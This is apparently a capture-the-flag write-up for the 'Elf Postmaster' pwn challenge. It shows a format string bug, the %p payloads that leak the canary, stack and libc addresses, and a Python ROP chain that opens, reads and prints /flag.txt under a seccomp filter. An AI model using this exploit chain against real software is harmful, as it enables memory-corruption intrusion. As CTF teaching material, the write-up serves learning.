The Elf Postmaster

A quick look in Ghidras decompiled code for the main function tells us, that we are dealing with a format string vulnerabilty.

The first one:

```
    fgets(local_118,0x100,stdin);
    printf("Oh, greetings ");
    printf(local_118);
```

And the second one in a lopp:

```
    fgets(local_118,0x100,stdin);
    printf("Okok, I am taking notes, so you said: ");
    printf(local_118);
```

`local_118` is directly under our control, so lets send a lot of %p's to get the infos out (`p.sendline("%p" * 80)`! The interesting values were at position 30, 39, 40 and 41 and the rest could be calculated (we know from the Dockerfile that we are dealing with Ubuntu 18.04).

```
payload = "%30$p %39$p %40$p %41$p"
p.sendline(payload)
p.recvuntil("Oh, greetings ")
stack, canary, binbase, ret = p.recvline().rstrip().split(" ")

stack    = int(stack, 16)  #some address from the stack
rsp      = stack - 0x128   #address of stackpointer
ret_addr = stack - 0xd8    #address of ret(2libc)
ret      = int(ret, 16)    #ret value
libcbase = ret - 0x21b97;  #libc base calculation for ubuntu 18.04
binbase  = int(binbase , 16) - 0xc00
canary   = int(canary, 16)
```

The write function, writes the second parameter relative to the leaked address to the stack. I get some weird crashes due to the Ubuntu 18.04 16-byte Stack-Alignment-Restriction on memory operations, so I shift the rsp around to get rid of it.

```
write(-0x10, (libcbase + POP_RSP_OFFSET), 32)      # -0x10 is the location
of ret address
write(-0x08, (rsp + 0x40), 48)                     # New StackPointer 16-
Byte aligned
```

There was a Seccomp restrction enabled, so we only could use a few syscall and all the fancy shell opening ones were missing. But it's a CTF so we want to get the content of a file. Open and read weren't restricted and we know that the file was locatead at `/home/ctf/flag.txt` (or later chrooted to `/flag.txt`).

The only thing left is open the file, read it and prinf the content. Flag captured!

```
payload = "A" * 0x10 + "/flag.txt\x00" + "A" * 30
payload += p64(libcbase + RET_OFFSET)

# Open File
payload += p64(libcbase + POP_RDI_OFFSET)
payload += p64(rsp + 0x10) # 1
payload += p64(libcbase + POP_RDX_RSI_OFFSET)
payload += p64(0x00) # 3
payload += p64(0x00) # 2
payload += p64(libcbase + RET_OFFSET)
payload += p64(libcbase + OPEN_OFFSET)

# Read File
payload += p64(libcbase + RET_OFFSET)
payload += p64(libcbase + POP_RDI_OFFSET)
payload += p64(0x03) # 1
payload += p64(libcbase + POP_RDX_RSI_OFFSET)
payload += p64(0x40) # 3
payload += p64(stack + 0x8)
payload += p64(libcbase + RET_OFFSET)
payload += p64(libcbase + READ_OFFSET)

# Print Flag
payload += p64(libcbase + RET_OFFSET)
payload += p64(libcbase + POP_RAX_OFFSET)
payload += p64(binbase + 0xb4c)
payload += p64(libcbase + MOV_RDI_RSI_OFFSET)
```

p.sendline(payload)

p.sendline("end of letter") p.recvuntil("year!")

print "\n" flag = p.recvuntil("}") print flag print "\n"